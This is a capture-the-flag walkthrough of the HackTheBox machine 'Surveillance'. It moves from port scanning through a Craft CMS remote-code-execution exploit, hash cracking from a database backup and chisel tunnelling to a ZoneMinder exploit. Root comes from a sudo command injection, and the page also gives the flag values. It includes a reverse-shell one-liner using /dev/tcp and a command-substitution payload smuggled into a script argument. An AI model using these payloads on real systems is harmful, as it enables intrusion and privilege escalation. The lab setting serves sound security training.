HackTheBox | Surveillance

In this walkthrough, I demonstrate how I obtained complete ownership of Surveillance on HackTheBox
HackTheBox | Surveillance
In: HackTheBox, Attack, CTF

Nmap Results

# Nmap 7.94SVN scan initiated Wed Jan 24 16:36:46 2024 as: nmap -Pn -p- --min-rate 5000 -A -oN nmap.txt 10.10.11.245
Nmap scan report for 10.10.11.245
Host is up (0.012s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://surveillance.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=1/24%OT=22%CT=1%CU=42608%PV=Y%DS=2%DC=T%G=Y%TM=65B1
OS:830B%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)
OS:OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53C
OS:ST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)
OS:ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%
OS:F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T
OS:5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=
OS:Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF
OS:=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40
OS:%CD=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 143/tcp)
HOP RTT      ADDRESS
1   11.81 ms 10.10.14.1
2   11.87 ms 10.10.11.245

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jan 24 16:37:15 2024 -- 1 IP address (1 host up) scanned in 29.07 seconds





Service Enumeration

TCP/80

80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://surveillance.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)

Nmap output shows redirect to 'surveillance.htb'

echo '10.10.11.245    surveillance.htb' | sudo tee -a /etc/hosts

Add hostname to hosts file

Potentially a Craft CMS server
No robots.txt
No sitemap.xml
Potential username



Gobuster Enumeration

gobuster dir -u http://surveillance.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -x php,txt,html -r -o gobuster-80.txt -t 100
/.htaccess            (Status: 200) [Size: 304]
/admin                (Status: 200) [Size: 38436]
/css                  (Status: 403) [Size: 162]
/fonts                (Status: 403) [Size: 162]
/images               (Status: 403) [Size: 162]
/img                  (Status: 403) [Size: 162]
/index                (Status: 200) [Size: 1]
/index.php            (Status: 200) [Size: 16230]
/js                   (Status: 403) [Size: 162]
/logout               (Status: 200) [Size: 16230]
/p1                   (Status: 200) [Size: 16230]
/p10                  (Status: 200) [Size: 16230]
/p13                  (Status: 200) [Size: 16230]
/p15                  (Status: 200) [Size: 16230]
/p2                   (Status: 200) [Size: 16230]
/p3                   (Status: 200) [Size: 16230]
/p5                   (Status: 200) [Size: 16230]
/p7                   (Status: 200) [Size: 16230]
/wp-admin             (Status: 418) [Size: 24409]
Interestingly, we have access to the .htaccess file

The rules in the .htaccess file look like they were created specifically for Craft CMS. These rules simply serve to redirect the HTTP client the HTTP 404 page for:

  • Files that don't exist
  • Directories that don't exist
  • Invalid arguments to the p parameter on index.php
Craft CMS confirmed on the /admin page



Enumerating the Craft CMS Version

CVE-2023-41892 (Craft CMS Remote Code Execution) - POC
CVE-2023-41892 (Craft CMS Remote Code Execution) - POC - CVE-2023-41892-POC.md

If you'd prefer to do it the non-Metasploit way, this POC works (with caveats)





Exploit

Non-Metasploit Method

CVE-2023-41892 (Craft CMS Remote Code Execution) - POC
CVE-2023-41892 (Craft CMS Remote Code Execution) - POC - CVE-2023-41892-POC.md

Understanding the Exploit

Let's do a brief exploration of the exploit's functionality, as you should always seek to understand an exploit before you execute it.

  1. First, run the getTmpUploadDirAndDocumentRoot() function to attempt phpinfo code execution, which allows us to read the web root path, as well as the temporary upload location
  2. Then, run the writePayloadToTempFile(documentRoot) function, which should throw a HTTP 502, indicating successful exploit. Using the vulnerable Imagick extension, we can write arbitrary PHP code to the web root as though it were an image.
  3. Finally, we run the trigerImagick(tmpDir) function to call the Imagick extension to read our PHP file. The Imagick extension then reads our file and executes the PHP code.

Debugging the Exploit

The exploit appeared to be working, but command execution through the PHP reverse shell didn't appear to be working. This was due to a bad string match in the main function.

38     pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
39     pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'
40    
41     match1 = re.search(pattern1, response.text, re.DOTALL)
42     match2 = re.search(pattern2, response.text, re.DOTALL)
43     return match1.group(1), match2.group(1)

Before

💡
I used some print() functions in the script to debug potential failure points.
38     pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
39     pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'
40    
41     match1 = re.search(pattern1, response.text, re.DOTALL)
42     match2 = re.search(pattern2, response.text, re.DOTALL)
43     print(match1.group(1))
44     print(match2.group(1))
45     return match1.group(1), match2.group(1)

After

💡
You'll note that the two print statements are returning the temp directory and the web root as needed for the exploit.
75         tmpDir = "/tmp" if upload_tmp_dir == "no value" else upload_tmp_dir

Line 75 was failing to evaluate correctly, because...

75         tmpDir = "/tmp" if upload_tmp_dir == "<i>no value</i>" else upload_tmp_dir

"no value" should be "<i>no value</i>"



Metasploit Method

sudo msfconsole
msf6 > use 1
msf6 > set rhosts surveillance.htb
msf6 > set rport 80
msf6 > set ssl false
msf6 > set lhost tun0
msf6 > set lport 443
msf6 > run





Post-Exploit Enumeration

Operating Environment

OS & Kernel

PRETTY_NAME="Ubuntu 22.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.3 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

Linux surveillance 5.15.0-89-generic #99-Ubuntu SMP Mon Oct 30 20:42:41 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

Current User

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Sorry, user www-data may not run sudo on surveillance.



Users and Groups

Local Users

matthew:x:1000:
zoneminder:x:1001:    

Local Groups

matthew:x:1000:
zoneminder:x:1001:    



Network Configurations

Network Interfaces

eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:c5:61 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.10.11.245/23 brd 10.10.11.255 scope global eth0
       valid_lft forever preferred_lft forever    

Open Ports

tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      1127/nginx: worker  
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN    



Privilege Escalation

Lateral to Matthew

After some lengthy enumeration, I stumbled upon a SQL backup that contained an unsalted SHA256 hash for matthew.

zcat /var/www/html/craft/storage/backups/surveillance--2023-10-17-202801--v4.4.14.sql.zip | grep -i matt
echo '39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec' > hash
john --format=Raw-SHA256 --wordlist=rockyou.txt hash
ssh matthew@surveillance.htb



Lateral to ZoneMinder

The zoneminder service is listening on 127.0.0.1:8080, which will require us to forward the port internally. For this task, I'm going to use chisel.

wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz -O chisel.gz
gunzip ./chisel.gz
chmod u+x ./chisel.gz
sudo python3 -m http.server 80

Download chisel and host it on Kali

wget http://kali-vpn-ip/chisel -O /tmp/chisel
chmod u+x /tmp/chisel

Download chisel from Kali to target

sudo ./chisel server --reverse --port 8081 &

Chisel server running on Kali

/tmp/chisel client 10.10.14.10:8081 R:58080:127.0.0.1:8080 R:3306:127.0.0.1:3006 &

Chisel client on target, forwarding tcp/3306 and tcp/8080

Internal ZoneMinder server
apt list --installed zoneminder

Check the installed version of ZoneMinder

zoneminder 1.36 cve - Google Search

Check for CVEs for this version

ZoneMinder Snapshots Command Injection ≈ Packet Storm
Information Security Services, News, Files, Tools, Exploits, Advisories and Whitepapers

Metasploit module

GitHub - heapbytes/CVE-2023-26035: POC script for CVE-2023-26035 (zoneminder 1.36.32)
POC script for CVE-2023-26035 (zoneminder 1.36.32) - GitHub - heapbytes/CVE-2023-26035: POC script for CVE-2023-26035 (zoneminder 1.36.32)

Public Python exploit



Modifying the Python Exploit

I had to update line 16 in the public exploit here, as the concatenated string yields an invalid URL. I changed index.php to /index.php.





Root Privileges

We note that the zoneminder user can run password-less sudo on any zm[a-zA-Z]*.pl script in /usr/bin/. In PHP scripts, you commonly see the exec(), shell_exec(), or system() functions abused to achieve command execution on the host.

I searched for ways to achieve this with Perl scripts and came across the exec() command. The only problem is that this command is not used any of these scripts except one, and it's not exploitable.

I did notice the execute() command is referenced a lot in these Perl scripts and in my searching, this is a command used execute prepared SQL statements. So, we'll need to find an execute() call that takes a user parameter, while also not restricting the user to specific data types or inputs.

Search for any Perl scripts that run execute() on variables and potential user inputs

Looking over the set of scripts pictured above is a time-consuming effort, but after playing around with some scripts, it's clear almost all of them restrict have some input validation. The only one that is vulnerable is zmupdate.pl. On line 1056, we can see where the script will take our username input and execute it. Trying to exploit on password won't work, cause the script will hash the inputs.

We can see the '/bin/bash -ip' injected into the prepared SQL statement
sudo /usr/bin/zmupdate.pl -u '$(bash -c "bash -ip >& /dev/tcp/10.10.14.10/443 0>&1")' -p '' -v 1

Running the command in a sub-shell causes it to be executed before the rest of the prepared SQL statement.

⚠️
Ensure that you're wrapping you -u '$(payload)' in single quotes in order for the payload to be passed as a literal string to the Perl script.



Flags

User

1f4b734f81280d55388c9ff39cd13152    

Root

3457f277222b96dc0f126f9d92defe37    
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.